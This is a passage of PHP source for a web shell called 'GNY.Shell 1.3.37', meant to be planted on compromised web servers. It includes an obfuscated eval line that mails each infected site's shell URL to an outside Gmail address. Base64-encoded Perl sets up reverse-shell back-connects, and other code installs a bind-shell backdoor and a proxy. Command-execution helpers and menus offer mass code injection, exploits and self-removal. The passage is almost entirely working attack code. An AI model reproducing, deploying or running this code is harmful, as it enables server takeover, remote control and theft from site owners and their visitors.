VOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo= +"; + +$fi=" +IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9 +"; + +eval(base64_decode("JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCEkdmlzaXRjKSB7CgkkdmlzaXRjICA9 +IDA7CgkkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOwoJJHdlYiAgICAgPSAkX1NF +UlZFUlsiSFRUUF9IT1NUIl07CgkkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwoJ +JHRhcmdldCAgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsKCSRqdWR1bCAgID0gIlNoZWxsOiBo +dHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7CgkkYm9keSAgICA9ICJTaGVsbDogaHR0cDovLyR0 +YXJnZXQgYnkgJHZpc2l0b3IiOwoJQG1haWwoInNoZWxsLmJkb29yQGdtYWlsLmNvbSIsICRqdWR1 +bCwgJGJvZHkpOwp9IGVsc2UgewoJJHZpc2l0YysrOwp9CgpAc2V0Y29va2llKCJ2aXNpdHMiLCAk +dmlzaXRjKTs=")); + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' has a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + chmod('shbd', 0777); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + chmod('/tmp/shbd', 0777); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + chmod('backc', 0777); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + chmod('/tmp/backc', 0777); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} + +//EoW + +//Start Enumerate function +//function ENUMERATE() + +// $hostname_x=php_uname(n); +// $itshome = getcwd(); +// $itshome = str_replace("/home/","~",$itshome); +// $itshome = str_replace("/public_html","/x2300.php",$itshome); +// $enumerate = "http://".$hostname_x."/".$itshome.""; + +//End Enumerate function + +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.3.37"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("GNY_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("GNY_surl",$surl);} +else {$surl = $_REQUEST["GNY_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["GNY_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = 'You cannot access this file directly.<br /><a href="javascript: history.go(-1)">Go Back</a>'; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$GNY_updateurl = ''; //Update server +$GNY_sourcesurl = ''; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = ''; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + 'html'=>array('html','htm','shtml'), + 'txt'=>array('txt','conf','bat','sh','js','bak','doc','log','sfc','cfg','htaccess','passwd','shadow'), + 'exe'=>array('sh','install','bat','cmd'), + 'ini'=>array('ini','inf'), + 'code'=>array('php','phtml','php3','php4','inc','tcl','h','c','cpp','py','cgi','pl'), + 'img'=>array('gif','png','jpeg','jfif','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'), + 'sdb'=>array('sdb'), + 'phpsess'=>array('sess'), + 'download'=>array('exe','com','pif','src','lnk','zip','rar','gz','tar') +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,'r'); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,'<font color=red>','</font>'), // example + array("config.php",1), // example + array("settings.php",1), + array("connect.php",1) +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range('a','z'); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = 'GNY'; // default password for binding +$bindport_port = '31373'; // default port for binding +$bc_port = '5992'; // default port for back-connect +$datapipe_localport = '8081'; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$sess_cookie = "GNYvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array('[Home]',$surl), + array('[Back]','javascript:history.back(1)'), + array('[Forward]','javascript:history.go(1)'), + array('[Up]',$surl.'act=ls&d=%upd&sort=%sort'), + array('[Refresh]',""), + array('[Search]',$surl.'act=search&d=%d'), + array('[Buffer]',$surl.'act=fsbuff&d=%d'), + array('<br><br><center><b>[String/Hash Tools]</b>',$surl.'act=encoder&d=%d'), + array('<b>[Processes]</b>',$surl.'act=processes&d=%d'), + array('<b>[Users]</b>',$surl.'act=users'), + array('<b>[System Information]</b>',$surl.'act=security&d=%d'), + array('<b>[SQL Manager]</b>',$surl.'act=sql&d=%d'), + array('<b>[Reverse IP]</b>',$surl.'act=rip'), + array('<b>[Kernel Exploit Search]</b>',$surl.'act=exploit'), + array('<b>[Execute PHP Code]</b>',$surl.'act=eval&d=%d'), + array('<b>[PHP Info]</b></center>',$surl.'act=phpinfo&d=%d') +); +$quicklaunch2 = array( + array('<b><center>[PHP Tools]</b>',$surl.'act=phptools'), + array('<b>[Bind Shell Backdoor]</b>',$surl.'act=shbd'), + array('<b>[Back-Connection]</b>',$surl.'act=backc'), + array('<b>[Mass Code Injection]</b>',$surl.'act=massbrowsersploit'), + array('<b>[Exploits]</b>',$surl.'act=exploits'), + array('<b>[cPanel Finder]</b>',$surl.'act=cpanel'), + array('<b>[RFI/LFI Finder]</b>',$surl.'act=fi'), + array('<b>[Install IP:Port Proxy]</b>',$surl.'act=proxy'), + array('<b>[Install PHP Proxy]</b>',$surl.'act=phpproxy'), + array('<b>[Suicide Script]</b></center>',$surl.'act=selfremove') +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["GNYcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +/*function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +}*/ +/*function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +}*/ +/*function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +}*/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit(" Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"GNY.Shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("buff_prepare")) +{ +function buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +buff_prepare(); + +if (!function_exists("sess_put")) +{ +function sess_put($data) +{ + global $sess_cookie; + global $sess_data; + buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and 